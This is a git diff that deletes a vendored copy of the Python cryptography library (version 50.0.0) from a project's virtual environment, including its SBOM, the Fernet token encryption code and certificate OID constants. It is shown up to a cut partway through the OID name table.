bc2b802c174e730c8114f12a673b8afbadf5cfd3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography-50.0.0.dist-info/sboms/sbom.json +++ /dev/null @@ -1,43 +0,0 @@ -{ - "bomFormat": "CycloneDX", - "specVersion": "1.5", - "version": 1, - "serialNumber": "urn:uuid:c8d762ac-c37b-4466-b09e-a29554ac2c0e", - "metadata": { - "timestamp": "2026-07-31T00:36:04Z" - }, - "components": [ - { - "type": "library", - "name": "openssl", - "version": "4.0.1", - "purl": "pkg:generic/openssl@4.0.1?download_url=https://github.com/openssl/openssl/releases/download/openssl-4.0.1/openssl-4.0.1.tar.gz", - "hashes": [ - { - "alg": "SHA-256", - "content": "2db3f3a0d6ea4b59e1f094ace2c8cd536dffb87cdc39084c5afa1e6f7f37dd09" - } - ], - "externalReferences": [ - { - "type": "distribution", - "url": "https://github.com/openssl/openssl/releases/download/openssl-4.0.1/openssl-4.0.1.tar.gz" - } - ], - "properties": [ - { - "name": "build:operating-system", - "value": "windows" - }, - { - "name": "build:architecture", - "value": "win64" - }, - { - "name": "build:flags", - "value": "no-zlib no-shared no-module no-comp no-apps no-docs no-sm2-precomp no-atexit" - } - ] - } - ] -} diff --git a/venv/Lib/site-packages/cryptography/__about__.py b/venv/Lib/site-packages/cryptography/__about__.py deleted file mode 100644 index 3aa8e745a5b5f522b987321bc11d502891892660..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/__about__.py +++ /dev/null @@ -1,17 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -__all__ = [ - "__author__", - "__copyright__", - "__version__", -] - -__version__ = "50.0.0" - - -__author__ = "The Python Cryptographic Authority and individual contributors" -__copyright__ = f"Copyright 2013-2026 {__author__}" diff --git a/venv/Lib/site-packages/cryptography/__init__.py b/venv/Lib/site-packages/cryptography/__init__.py deleted file mode 100644 index d374f752dfd53c6f9a12c69309fdcb6eee765251..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/__init__.py +++ /dev/null @@ -1,13 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.__about__ import __author__, __copyright__, __version__ - -__all__ = [ - "__author__", - "__copyright__", - "__version__", -] diff --git a/venv/Lib/site-packages/cryptography/cobblestone.py b/venv/Lib/site-packages/cryptography/cobblestone.py deleted file mode 100644 index 09f67af9b1c04d963cafecd3890d140d13955da4..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/cobblestone.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.bindings._rust import ( - cobblestone as _cobblestone, -) - -Cobblestone128Decryptor = _cobblestone.Cobblestone128Decryptor -Cobblestone128Encryptor = _cobblestone.Cobblestone128Encryptor -Cobblestone256Decryptor = _cobblestone.Cobblestone256Decryptor -Cobblestone256Encryptor = _cobblestone.Cobblestone256Encryptor - -__all__ = [ - "Cobblestone128Decryptor", - "Cobblestone128Encryptor", - "Cobblestone256Decryptor", - "Cobblestone256Encryptor", -] diff --git a/venv/Lib/site-packages/cryptography/exceptions.py b/venv/Lib/site-packages/cryptography/exceptions.py deleted file mode 100644 index fe125ea9a763ad731ba99e4761d6623e1d2c639c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/exceptions.py +++ /dev/null @@ -1,52 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import typing - -from cryptography.hazmat.bindings._rust import exceptions as rust_exceptions - -if typing.TYPE_CHECKING: - from cryptography.hazmat.bindings._rust import openssl as rust_openssl - -_Reasons = rust_exceptions._Reasons - - -class UnsupportedAlgorithm(Exception): - def __init__(self, message: str, reason: _Reasons | None = None) -> None: - super().__init__(message) - self._reason = reason - - -class AlreadyFinalized(Exception): - pass - - -class AlreadyUpdated(Exception): - pass - - -class NotYetFinalized(Exception): - pass - - -class InvalidTag(Exception): - pass - - -class InvalidSignature(Exception): - pass - - -class InternalError(Exception): - def __init__( - self, msg: str, err_code: list[rust_openssl.OpenSSLError] - ) -> None: - super().__init__(msg) - self.err_code = err_code - - -class InvalidKey(Exception): - pass diff --git a/venv/Lib/site-packages/cryptography/fernet.py b/venv/Lib/site-packages/cryptography/fernet.py deleted file mode 100644 index 582e594ae4d983b446699894c2b610c6770161ba..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/fernet.py +++ /dev/null @@ -1,240 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -import base64 -import binascii -import os -import time -import typing -from collections.abc import Iterable - -from cryptography import utils -from cryptography.exceptions import InvalidSignature -from cryptography.hazmat.primitives import hashes, padding -from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes -from cryptography.hazmat.primitives.hmac import HMAC - - -class InvalidToken(Exception): - pass - - -_MAX_CLOCK_SKEW = 60 - -# Hoisted to module level so each operation doesn't reconstruct them. -_PKCS7_128 = padding.PKCS7(128) -_SHA256 = hashes.SHA256() - - -class Fernet: - def __init__( - self, - key: bytes | str, - backend: typing.Any = None, - ) -> None: - try: - key = base64.urlsafe_b64decode(key) - except binascii.Error as exc: - raise ValueError( - "Fernet key must be 32 url-safe base64-encoded bytes." - ) from exc - if len(key) != 32: - raise ValueError( - "Fernet key must be 32 url-safe base64-encoded bytes." - ) - - self._signing_key = key[:16] - self._encryption_key = key[16:] - self._aes = algorithms.AES(self._encryption_key) - - @classmethod - def generate_key(cls) -> bytes: - return base64.urlsafe_b64encode(os.urandom(32)) - - def encrypt(self, data: bytes) -> bytes: - return self.encrypt_at_time(data, int(time.time())) - - def encrypt_at_time(self, data: bytes, current_time: int) -> bytes: - iv = os.urandom(16) - return self._encrypt_from_parts(data, current_time, iv) - - def _encrypt_from_parts( - self, data: bytes, current_time: int, iv: bytes - ) -> bytes: - utils._check_bytes("data", data) - - padder = _PKCS7_128.padder() - padded_data = padder.update(data) + padder.finalize() - encryptor = Cipher(self._aes, modes.CBC(iv)).encryptor() - ciphertext = encryptor.update(padded_data) + encryptor.finalize() - - basic_parts = ( - b"\x80" - + current_time.to_bytes(length=8, byteorder="big") - + iv - + ciphertext - ) - - h = HMAC(self._signing_key, _SHA256) - h.update(basic_parts) - hmac = h.finalize() - return base64.urlsafe_b64encode(basic_parts + hmac) - - def decrypt(self, token: bytes | str, ttl: int | None = None) -> bytes: - timestamp, data = Fernet._get_unverified_token_data(token) - if ttl is None: - time_info = None - else: - time_info = (ttl, int(time.time())) - return self._decrypt_data(data, timestamp, time_info) - - def decrypt_at_time( - self, token: bytes | str, ttl: int, current_time: int - ) -> bytes: - if ttl is None: - raise ValueError( - "decrypt_at_time() can only be used with a non-None ttl" - ) - timestamp, data = Fernet._get_unverified_token_data(token) - return self._decrypt_data(data, timestamp, (ttl, current_time)) - - def extract_timestamp(self, token: bytes | str) -> int: - timestamp, data = Fernet._get_unverified_token_data(token) - # Verify the token was not tampered with. - self._verify_signature(data) - return timestamp - - @staticmethod - def _get_unverified_token_data(token: bytes | str) -> tuple[int, bytes]: - if not isinstance(token, (str, bytes)): - raise TypeError("token must be bytes or str") - - try: - data = base64.urlsafe_b64decode(token) - except (TypeError, binascii.Error): - raise InvalidToken - - if not data or data[0] != 0x80: - raise InvalidToken - - if len(data) < 9: - raise InvalidToken - - timestamp = int.from_bytes(data[1:9], byteorder="big") - return timestamp, data - - def _verify_signature(self, data: bytes) -> None: - h = HMAC(self._signing_key, _SHA256) - h.update(memoryview(data)[:-32]) - try: - h.verify(data[-32:]) - except InvalidSignature: - raise InvalidToken - - def _decrypt_data( - self, - data: bytes, - timestamp: int, - time_info: tuple[int, int] | None, - ) -> bytes: - if time_info is not None: - ttl, current_time = time_info - if timestamp + ttl < current_time: - raise InvalidToken - - if current_time + _MAX_CLOCK_SKEW < timestamp: - raise InvalidToken - - self._verify_signature(data) - - mv = memoryview(data) - iv = data[9:25] - ciphertext = mv[25:-32] - decryptor = Cipher(self._aes, modes.CBC(iv)).decryptor() - plaintext_padded = decryptor.update(ciphertext) - try: - plaintext_padded += decryptor.finalize() - except ValueError: - raise InvalidToken - unpadder = _PKCS7_128.unpadder() - - unpadded = unpadder.update(plaintext_padded) - try: - unpadded += unpadder.finalize() - except ValueError: - raise InvalidToken - return unpadded - - -class MultiFernet: - def __init__(self, fernets: Iterable[Fernet]): - fernets = list(fernets) - if not fernets: - raise ValueError( - "MultiFernet requires at least one Fernet instance" - ) - self._fernets = fernets - - def encrypt(self, msg: bytes) -> bytes: - return self.encrypt_at_time(msg, int(time.time())) - - def encrypt_at_time(self, msg: bytes, current_time: int) -> bytes: - return self._fernets[0].encrypt_at_time(msg, current_time) - - def rotate(self, msg: bytes | str) -> bytes: - timestamp, data = Fernet._get_unverified_token_data(msg) - for f in self._fernets: - try: - p = f._decrypt_data(data, timestamp, None) - break - except InvalidToken: - pass - else: - raise InvalidToken - - iv = os.urandom(16) - return self._fernets[0]._encrypt_from_parts(p, timestamp, iv) - - def decrypt(self, msg: bytes | str, ttl: int | None = None) -> bytes: - if ttl is None: - time_info = None - else: - time_info = (ttl, int(time.time())) - # Parse the token once rather than once per key. - timestamp, data = Fernet._get_unverified_token_data(msg) - for f in self._fernets: - try: - return f._decrypt_data(data, timestamp, time_info) - except InvalidToken: - pass - raise InvalidToken - - def decrypt_at_time( - self, msg: bytes | str, ttl: int, current_time: int - ) -> bytes: - if ttl is None: - raise ValueError( - "decrypt_at_time() can only be used with a non-None ttl" - ) - # Parse the token once rather than once per key. - timestamp, data = Fernet._get_unverified_token_data(msg) - for f in self._fernets: - try: - return f._decrypt_data(data, timestamp, (ttl, current_time)) - except InvalidToken: - pass - raise InvalidToken - - def extract_timestamp(self, msg: bytes | str) -> int: - # Parse the token once rather than once per key. - timestamp, data = Fernet._get_unverified_token_data(msg) - for f in self._fernets: - try: - f._verify_signature(data) - return timestamp - except InvalidToken: - pass - raise InvalidToken diff --git a/venv/Lib/site-packages/cryptography/hazmat/__init__.py b/venv/Lib/site-packages/cryptography/hazmat/__init__.py deleted file mode 100644 index b9f1187011bdaa0720bc462564582393700f3d4a..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/__init__.py +++ /dev/null @@ -1,13 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -""" -Hazardous Materials - -This is a "Hazardous Materials" module. You should ONLY use it if you're -100% absolutely sure that you know what you're doing because this module -is full of land mines, dragons, and dinosaurs with laser guns. -""" diff --git a/venv/Lib/site-packages/cryptography/hazmat/_oid.py b/venv/Lib/site-packages/cryptography/hazmat/_oid.py deleted file mode 100644 index 244a1b383699caa1e30b2185963855ddb3125829..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cryptography/hazmat/_oid.py +++ /dev/null @@ -1,373 +0,0 @@ -# This file is dual licensed under the terms of the Apache License, Version -# 2.0, and the BSD License. See the LICENSE file in the root of this repository -# for complete details. - -from __future__ import annotations - -from cryptography.hazmat.bindings._rust import ( - ObjectIdentifier as ObjectIdentifier, -) -from cryptography.hazmat.primitives import hashes - - -class ExtensionOID: - SUBJECT_DIRECTORY_ATTRIBUTES = ObjectIdentifier("2.5.29.9") - SUBJECT_KEY_IDENTIFIER = ObjectIdentifier("2.5.29.14") - KEY_USAGE = ObjectIdentifier("2.5.29.15") - PRIVATE_KEY_USAGE_PERIOD = ObjectIdentifier("2.5.29.16") - SUBJECT_ALTERNATIVE_NAME = ObjectIdentifier("2.5.29.17") - ISSUER_ALTERNATIVE_NAME = ObjectIdentifier("2.5.29.18") - BASIC_CONSTRAINTS = ObjectIdentifier("2.5.29.19") - NAME_CONSTRAINTS = ObjectIdentifier("2.5.29.30") - CRL_DISTRIBUTION_POINTS = ObjectIdentifier("2.5.29.31") - CERTIFICATE_POLICIES = ObjectIdentifier("2.5.29.32") - POLICY_MAPPINGS = ObjectIdentifier("2.5.29.33") - AUTHORITY_KEY_IDENTIFIER = ObjectIdentifier("2.5.29.35") - POLICY_CONSTRAINTS = ObjectIdentifier("2.5.29.36") - EXTENDED_KEY_USAGE = ObjectIdentifier("2.5.29.37") - FRESHEST_CRL = ObjectIdentifier("2.5.29.46") - INHIBIT_ANY_POLICY = ObjectIdentifier("2.5.29.54") - ISSUING_DISTRIBUTION_POINT = ObjectIdentifier("2.5.29.28") - AUTHORITY_INFORMATION_ACCESS = ObjectIdentifier("1.3.6.1.5.5.7.1.1") - SUBJECT_INFORMATION_ACCESS = ObjectIdentifier("1.3.6.1.5.5.7.1.11") - OCSP_NO_CHECK = ObjectIdentifier("1.3.6.1.5.5.7.48.1.5") - TLS_FEATURE = ObjectIdentifier("1.3.6.1.5.5.7.1.24") - CRL_NUMBER = ObjectIdentifier("2.5.29.20") - DELTA_CRL_INDICATOR = ObjectIdentifier("2.5.29.27") - PRECERT_SIGNED_CERTIFICATE_TIMESTAMPS = ObjectIdentifier( - "1.3.6.1.4.1.11129.2.4.2" - ) - PRECERT_POISON = ObjectIdentifier("1.3.6.1.4.1.11129.2.4.3") - SIGNED_CERTIFICATE_TIMESTAMPS = ObjectIdentifier("1.3.6.1.4.1.11129.2.4.5") - MS_CERTIFICATE_TEMPLATE = ObjectIdentifier("1.3.6.1.4.1.311.21.7") - ADMISSIONS = ObjectIdentifier("1.3.36.8.3.3") - - -class OCSPExtensionOID: - NONCE = ObjectIdentifier("1.3.6.1.5.5.7.48.1.2") - ACCEPTABLE_RESPONSES = ObjectIdentifier("1.3.6.1.5.5.7.48.1.4") - - -class CRLEntryExtensionOID: - CERTIFICATE_ISSUER = ObjectIdentifier("2.5.29.29") - CRL_REASON = ObjectIdentifier("2.5.29.21") - INVALIDITY_DATE = ObjectIdentifier("2.5.29.24") - - -class NameOID: - COMMON_NAME = ObjectIdentifier("2.5.4.3") - COUNTRY_NAME = ObjectIdentifier("2.5.4.6") - LOCALITY_NAME = ObjectIdentifier("2.5.4.7") - STATE_OR_PROVINCE_NAME = ObjectIdentifier("2.5.4.8") - STREET_ADDRESS = ObjectIdentifier("2.5.4.9") - ORGANIZATION_IDENTIFIER = ObjectIdentifier("2.5.4.97") - ORGANIZATION_NAME = ObjectIdentifier("2.5.4.10") - ORGANIZATIONAL_UNIT_NAME = ObjectIdentifier("2.5.4.11") - SERIAL_NUMBER = ObjectIdentifier("2.5.4.5") - SURNAME = ObjectIdentifier("2.5.4.4") - GIVEN_NAME = ObjectIdentifier("2.5.4.42") - TITLE = ObjectIdentifier("2.5.4.12") - INITIALS = ObjectIdentifier("2.5.4.43") - GENERATION_QUALIFIER = ObjectIdentifier("2.5.4.44") - X500_UNIQUE_IDENTIFIER = ObjectIdentifier("2.5.4.45") - DN_QUALIFIER = ObjectIdentifier("2.5.4.46") - PSEUDONYM = ObjectIdentifier("2.5.4.65") - USER_ID = ObjectIdentifier("0.9.2342.19200300.100.1.1") - DOMAIN_COMPONENT = ObjectIdentifier("0.9.2342.19200300.100.1.25") - EMAIL_ADDRESS = ObjectIdentifier("1.2.840.113549.1.9.1") - JURISDICTION_COUNTRY_NAME = ObjectIdentifier("1.3.6.1.4.1.311.60.2.1.3") - JURISDICTION_LOCALITY_NAME = ObjectIdentifier("1.3.6.1.4.1.311.60.2.1.1") - JURISDICTION_STATE_OR_PROVINCE_NAME = ObjectIdentifier( - "1.3.6.1.4.1.311.60.2.1.2" - ) - BUSINESS_CATEGORY = ObjectIdentifier("2.5.4.15") - POSTAL_ADDRESS = ObjectIdentifier("2.5.4.16") - POSTAL_CODE = ObjectIdentifier("2.5.4.17") - INN = ObjectIdentifier("1.2.643.3.131.1.1") - OGRN = ObjectIdentifier("1.2.643.100.1") - SNILS = ObjectIdentifier("1.2.643.100.3") - UNSTRUCTURED_NAME = ObjectIdentifier("1.2.840.113549.1.9.2") - UNSIGNED = ObjectIdentifier("1.3.6.1.5.5.7.25.1") - - -class SignatureAlgorithmOID: - RSA_WITH_MD5 = ObjectIdentifier("1.2.840.113549.1.1.4") - RSA_WITH_SHA1 = ObjectIdentifier("1.2.840.113549.1.1.5") - # This is an alternate OID for RSA with SHA1 that is occasionally seen - _RSA_WITH_SHA1 = ObjectIdentifier("1.3.14.3.2.29") - RSA_WITH_SHA224 = ObjectIdentifier("1.2.840.113549.1.1.14") - RSA_WITH_SHA256 = ObjectIdentifier("1.2.840.113549.1.1.11") - RSA_WITH_SHA384 = ObjectIdentifier("1.2.840.113549.1.1.12") - RSA_WITH_SHA512 = ObjectIdentifier("1.2.840.113549.1.1.13") - RSA_WITH_SHA3_224 = ObjectIdentifier("2.16.840.1.101.3.4.3.13") - RSA_WITH_SHA3_256 = ObjectIdentifier("2.16.840.1.101.3.4.3.14") - RSA_WITH_SHA3_384 = ObjectIdentifier("2.16.840.1.101.3.4.3.15") - RSA_WITH_SHA3_512 = ObjectIdentifier("2.16.840.1.101.3.4.3.16") - RSASSA_PSS = ObjectIdentifier("1.2.840.113549.1.1.10") - ECDSA_WITH_SHA1 = ObjectIdentifier("1.2.840.10045.4.1") - ECDSA_WITH_SHA224 = ObjectIdentifier("1.2.840.10045.4.3.1") - ECDSA_WITH_SHA256 = ObjectIdentifier("1.2.840.10045.4.3.2") - ECDSA_WITH_SHA384 = ObjectIdentifier("1.2.840.10045.4.3.3") - ECDSA_WITH_SHA512 = ObjectIdentifier("1.2.840.10045.4.3.4") - ECDSA_WITH_SHA3_224 = ObjectIdentifier("2.16.840.1.101.3.4.3.9") - ECDSA_WITH_SHA3_256 = ObjectIdentifier("2.16.840.1.101.3.4.3.10") - ECDSA_WITH_SHA3_384 = ObjectIdentifier("2.16.840.1.101.3.4.3.11") - ECDSA_WITH_SHA3_512 = ObjectIdentifier("2.16.840.1.101.3.4.3.12") - DSA_WITH_SHA1 = ObjectIdentifier("1.2.840.10040.4.3") - DSA_WITH_SHA224 = ObjectIdentifier("2.16.840.1.101.3.4.3.1") - DSA_WITH_SHA256 = ObjectIdentifier("2.16.840.1.101.3.4.3.2") - DSA_WITH_SHA384 = ObjectIdentifier("2.16.840.1.101.3.4.3.3") - DSA_WITH_SHA512 = ObjectIdentifier("2.16.840.1.101.3.4.3.4") - ED25519 = ObjectIdentifier("1.3.101.112") - ED448 = ObjectIdentifier("1.3.101.113") - ML_DSA_44 = ObjectIdentifier("2.16.840.1.101.3.4.3.17") - ML_DSA_65 = ObjectIdentifier("2.16.840.1.101.3.4.3.18") - ML_DSA_87 = ObjectIdentifier("2.16.840.1.101.3.4.3.19") - GOSTR3411_94_WITH_3410_2001 = ObjectIdentifier("1.2.643.2.2.3") - GOSTR3410_2012_WITH_3411_2012_256 = ObjectIdentifier("1.2.643.7.1.1.3.2") - GOSTR3410_2012_WITH_3411_2012_512 = ObjectIdentifier("1.2.643.7.1.1.3.3") - UNSIGNED = ObjectIdentifier("1.3.6.1.5.5.7.6.36") - - -_SIG_OIDS_TO_HASH: dict[ObjectIdentifier, hashes.HashAlgorithm | None] = { - SignatureAlgorithmOID.RSA_WITH_MD5: hashes.MD5(), - SignatureAlgorithmOID.RSA_WITH_SHA1: hashes.SHA1(), - SignatureAlgorithmOID._RSA_WITH_SHA1: hashes.SHA1(), - SignatureAlgorithmOID.RSA_WITH_SHA224: hashes.SHA224(), - SignatureAlgorithmOID.RSA_WITH_SHA256: hashes.SHA256(), - SignatureAlgorithmOID.RSA_WITH_SHA384: hashes.SHA384(), - SignatureAlgorithmOID.RSA_WITH_SHA512: hashes.SHA512(), - SignatureAlgorithmOID.RSA_WITH_SHA3_224: hashes.SHA3_224(), - SignatureAlgorithmOID.RSA_WITH_SHA3_256: hashes.SHA3_256(), - SignatureAlgorithmOID.RSA_WITH_SHA3_384: hashes.SHA3_384(), - SignatureAlgorithmOID.RSA_WITH_SHA3_512: hashes.SHA3_512(), - SignatureAlgorithmOID.ECDSA_WITH_SHA1: hashes.SHA1(), - SignatureAlgorithmOID.ECDSA_WITH_SHA224: hashes.SHA224(), - SignatureAlgorithmOID.ECDSA_WITH_SHA256: hashes.SHA256(), - SignatureAlgorithmOID.ECDSA_WITH_SHA384: hashes.SHA384(), - SignatureAlgorithmOID.ECDSA_WITH_SHA512: hashes.SHA512(), - SignatureAlgorithmOID.ECDSA_WITH_SHA3_224: hashes.SHA3_224(), - SignatureAlgorithmOID.ECDSA_WITH_SHA3_256: hashes.SHA3_256(), - SignatureAlgorithmOID.ECDSA_WITH_SHA3_384: hashes.SHA3_384(), - SignatureAlgorithmOID.ECDSA_WITH_SHA3_512: hashes.SHA3_512(), - SignatureAlgorithmOID.DSA_WITH_SHA1: hashes.SHA1(), - SignatureAlgorithmOID.DSA_WITH_SHA224: hashes.SHA224(), - SignatureAlgorithmOID.DSA_WITH_SHA256: hashes.SHA256(), - SignatureAlgorithmOID.ED25519: None, - SignatureAlgorithmOID.ED448: None, - SignatureAlgorithmOID.ML_DSA_44: None, - SignatureAlgorithmOID.ML_DSA_65: None, - SignatureAlgorithmOID.ML_DSA_87: None, - SignatureAlgorithmOID.GOSTR3411_94_WITH_3410_2001: None, - SignatureAlgorithmOID.GOSTR3410_2012_WITH_3411_2012_256: None, - SignatureAlgorithmOID.GOSTR3410_2012_WITH_3411_2012_512: None, - SignatureAlgorithmOID.UNSIGNED: None, -} - - -class HashAlgorithmOID: - SHA1 = ObjectIdentifier("1.3.14.3.2.26") - SHA224 = ObjectIdentifier("2.16.840.1.101.3.4.2.4") - SHA256 = ObjectIdentifier("2.16.840.1.101.3.4.2.1") - SHA384 = ObjectIdentifier("2.16.840.1.101.3.4.2.2") - SHA512 = ObjectIdentifier("2.16.840.1.101.3.4.2.3") - SHA3_224 = ObjectIdentifier("1.3.6.1.4.1.37476.3.2.1.99.7.224") - SHA3_256 = ObjectIdentifier("1.3.6.1.4.1.37476.3.2.1.99.7.256") - SHA3_384 = ObjectIdentifier("1.3.6.1.4.1.37476.3.2.1.99.7.384") - SHA3_512 = ObjectIdentifier("1.3.6.1.4.1.37476.3.2.1.99.7.512") - SHA3_224_NIST = ObjectIdentifier("2.16.840.1.101.3.4.2.7") - SHA3_256_NIST = ObjectIdentifier("2.16.840.1.101.3.4.2.8") - SHA3_384_NIST = ObjectIdentifier("2.16.840.1.101.3.4.2.9") - SHA3_512_NIST = ObjectIdentifier("2.16.840.1.101.3.4.2.10") - - -class PublicKeyAlgorithmOID: - DSA = ObjectIdentifier("1.2.840.10040.4.1") - EC_PUBLIC_KEY = ObjectIdentifier("1.2.840.10045.2.1") - RSAES_PKCS1_v1_5 = ObjectIdentifier("1.2.840.113549.1.1.1") - RSASSA_PSS = ObjectIdentifier("1.2.840.113549.1.1.10") - X25519 = ObjectIdentifier("1.3.101.110") - X448 = ObjectIdentifier("1.3.101.111") - ED25519 = ObjectIdentifier("1.3.101.112") - ED448 = ObjectIdentifier("1.3.101.113") - ML_DSA_44 = ObjectIdentifier("2.16.840.1.101.3.4.3.17") - ML_DSA_65 = ObjectIdentifier("2.16.840.1.101.3.4.3.18") - ML_DSA_87 = ObjectIdentifier("2.16.840.1.101.3.4.3.19") - ML_KEM_768 = ObjectIdentifier("2.16.840.1.101.3.4.4.2") - ML_KEM_1024 = ObjectIdentifier("2.16.840.1.101.3.4.4.3") - - -class ExtendedKeyUsageOID: - SERVER_AUTH = ObjectIdentifier("1.3.6.1.5.5.7.3.1") - CLIENT_AUTH = ObjectIdentifier("1.3.6.1.5.5.7.3.2") - CODE_SIGNING = ObjectIdentifier("1.3.6.1.5.5.7.3.3") - EMAIL_PROTECTION = ObjectIdentifier("1.3.6.1.5.5.7.3.4") - TIME_STAMPING = ObjectIdentifier("1.3.6.1.5.5.7.3.8") - OCSP_SIGNING = ObjectIdentifier("1.3.6.1.5.5.7.3.9") - ANY_EXTENDED_KEY_USAGE = ObjectIdentifier("2.5.29.37.0") - SMARTCARD_LOGON = ObjectIdentifier("1.3.6.1.4.1.311.20.2.2") - KERBEROS_PKINIT_KDC = ObjectIdentifier("1.3.6.1.5.2.3.5") - IPSEC_IKE = ObjectIdentifier("1.3.6.1.5.5.7.3.17") - BUNDLE_SECURITY = ObjectIdentifier("1.3.6.1.5.5.7.3.35") - CERTIFICATE_TRANSPARENCY = ObjectIdentifier("1.3.6.1.4.1.11129.2.4.4") - - -class OtherNameFormOID: - PERMANENT_IDENTIFIER = ObjectIdentifier("1.3.6.1.5.5.7.8.3") - HW_MODULE_NAME = ObjectIdentifier("1.3.6.1.5.5.7.8.4") - DNS_SRV = ObjectIdentifier("1.3.6.1.5.5.7.8.7") - NAI_REALM = ObjectIdentifier("1.3.6.1.5.5.7.8.8") - SMTP_UTF8_MAILBOX = ObjectIdentifier("1.3.6.1.5.5.7.8.9") - ACP_NODE_NAME = ObjectIdentifier("1.3.6.1.5.5.7.8.10") - BUNDLE_EID = ObjectIdentifier("1.3.6.1.5.5.7.8.11") - - -class AuthorityInformationAccessOID: - CA_ISSUERS = ObjectIdentifier("1.3.6.1.5.5.7.48.2") - OCSP = ObjectIdentifier("1.3.6.1.5.5.7.48.1") - - -class SubjectInformationAccessOID: - CA_REPOSITORY = ObjectIdentifier("1.3.6.1.5.5.7.48.5") - - -class CertificatePoliciesOID: - CPS_QUALIFIER = ObjectIdentifier("1.3.6.1.5.5.7.2.1") - CPS_USER_NOTICE = ObjectIdentifier("1.3.6.1.5.5.7.2.2") - ANY_POLICY = ObjectIdentifier("2.5.29.32.0") - - -class AttributeOID: - CHALLENGE_PASSWORD = ObjectIdentifier("1.2.840.113549.1.9.7") - UNSTRUCTURED_NAME = ObjectIdentifier("1.2.840.113549.1.9.2") - - -_OID_NAMES = { - NameOID.COMMON_NAME: "commonName", - NameOID.COUNTRY_NAME: "countryName", - NameOID.LOCALITY_NAME: "localityName", - NameOID.STATE_OR_PROVINCE_NAME: "stateOrProvinceName", - NameOID.STREET_ADDRESS: "streetAddress", - NameOID.ORGANIZATION_NAME: "organizationName", - NameOID.ORGANIZATIONAL_UNIT_NAME: "organizationalUnitName", - NameOID.SERIAL_NUMBER: "serialNumber", - NameOID.SURNAME: "surname", - NameOID.GIVEN_NAME: "givenName", - NameOID.TITLE: "title", - NameOID.GENERATION_QUALIFIER: "generationQualifier", - NameOID.X500_UNIQUE_IDENTIFIER: "x500UniqueIdentifier", - NameOID.DN_QUALIFIER: "dnQualifier", - NameOID.PSEUDONYM: "pseudonym", - NameOID.USER_ID: "userID", - NameOID.DOMAIN_COMPONENT: "domainComponent", - NameOID.EMAIL_ADDRESS: "emailAddress", - NameOID.JURISDICTION_COUNTRY_NAME: "jurisdictionCountryName", - NameOID.JURISDICTION_LOCALITY_NAME: "jurisdictionLocalityName", - NameOID.JURISDICTION_STATE_OR_PROVINCE_NAME: ( - "jurisdictionStateOrProvinceName" - ), - NameOID.BUSINESS_CATEGORY: "businessCategory", - NameOID.POSTAL_ADDRESS: "postalAddress", - NameOID.POSTAL_CODE: "postalCode", - NameOID.INN: "INN", - NameOID.OGRN: "OGRN", - NameOID.SNILS: "SNILS", - NameOID.UNSTRUCTURED_NAME: "unstructuredName", - SignatureAlgorithmOID.RSA_WITH_MD5: "md5WithRSAEncryption", - SignatureAlgorithmOID.RSA_WITH_SHA1: "sha1WithRSAEncryption", - SignatureAlgorithmOID.RSA_WITH_SHA224: "sha224WithRSAEncryption", - SignatureAlgorithmOID.RSA_WITH_SHA256: "sha256WithRSAEncryption", - SignatureAlgorithmOID.RSA_WITH_SHA384: "sha384WithRSAEncryption", - SignatureAlgorithmOID.RSA_WITH_SHA512: "sha512WithRSAEncryption", - SignatureAlgorithmOID.RSASSA_PSS: "rsassaPss", - SignatureAlgorithmOID.ECDSA_WITH_SHA1: "ecdsa-with-SHA1", - SignatureAlgorithmOID.ECDSA_WITH_SHA224: "ecdsa-with-SHA224", - SignatureAlgorithmOID.ECDSA_WITH_SHA256: "ecdsa-with-SHA256", - SignatureAlgorithmOID.ECDSA_WITH_SHA384: "ecdsa-with-SHA384", - SignatureAlgorithmOID.ECDSA_WITH_SHA512: "ecdsa-with-SHA512", - SignatureAlgorithmOID.DSA_WITH_SHA1: "dsa-with-sha1", - SignatureAlgorithmOID.DSA_WITH_SHA224: "dsa-with-sha224", - SignatureAlgorithmOID.DSA_WITH_SHA256: "dsa-with-sha256", - SignatureAlgorithmOID.ED25519: "ed25519", - SignatureAlgorithmOID.ED448: "ed448", - SignatureAlgorithmOID.ML_DSA_44: "ML-DSA-44", - SignatureAlgorithmOID.ML_DSA_65: "ML-DSA-65", - SignatureAlgorithmOID.ML_DSA_87: "ML-DSA-87", - SignatureAlgorithmOID.GOSTR3411_94_WITH_3410_2001: ( - "GOST R 34.11-94 with GOST R 34.10-2001" - ), - SignatureAlgorithmOID.GOSTR3410_2012_WITH_3411_2012_256: ( - "GOST R 34.10-2012 with GOST R 34.11-2012 (256 bit)" - ), - SignatureAlgorithmOID.GOSTR3410_2012_WITH_3411_2012_512: ( - "GOST R 34.10-2012 with GOST R 34.11-2012 (512 bit)" - ), - HashAlgorithmOID.SHA1: "sha1", - HashAlgorithmOID.SHA224: "sha224", - HashAlgorithmOID.SHA256: "sha256", - HashAlgorithmOID.SHA384: "sha384", - HashAlgorithmOID.SHA512: "sha512", - HashAlgorithmOID.SHA3_224: "sha3_224", - HashAlgorithmOID.SHA3_256: "sha3_256", - 